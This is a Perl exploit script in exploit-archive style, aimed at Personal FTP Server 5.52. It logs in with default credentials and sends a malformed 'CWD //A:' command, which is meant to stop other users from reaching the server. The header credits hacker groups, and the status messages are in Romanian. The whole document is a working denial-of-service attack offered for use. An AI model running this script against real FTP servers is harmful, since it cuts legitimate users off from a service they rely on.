|
#!/usr/bin/perl
############################################################################
#
# Exploit Title: Personal FTP Server 5.52f bug
# Date: 01/08/2010
# Author: TA4G - S8T@hotmail.com
# Download: Personal FTP-Server PRO [deutsch] v5.52 Limitierte Shareware Version
# Download: http://www.michael-roth-software.de/prosharegerman.zip
# It's rather a bug then a DoS which consist in denying other users access to the ftp server, after a previous user triggered a //A: command
# Version: 5.52
# Google dork : n/a
# Platform / Tested on: windows 7
# Category: webapps/0day
# -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
# L0v3 To: TA4G _ lOsT _ Mr-DraGon _ Kader11000 _ illusionist2512 _ TnTDc _ P4L-T3RRORIST _ Sn!p3r_P4L
# -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
# -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
# Gr33tz to ### ArHack.NeT ###
# -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
use Net::FTP;
(($target = $ARGV[0])) || die "usage:$0 <target> <port>";
my $user = "test";
my $pass = "test";
$expl = "//A:";
$ftp = Net::FTP->new($target, Debug => 0, Port => 21) || die "Nu m-am putut conecta: $!";
$ftp->login($user,$pass) || die "Nu m-am putut loga: $!";
print "M-am logat!n";
$ftp->command("CWD", $expl);
print "Lansez comanda in executie...n";
print "Incerc sa ma conectez din nou..n";
$ftp = Net::FTP->new($target, Debug => 0, Port => 21) || die "Userul 2 nu se mai poate conecta: $!";
$ftp->quit;
|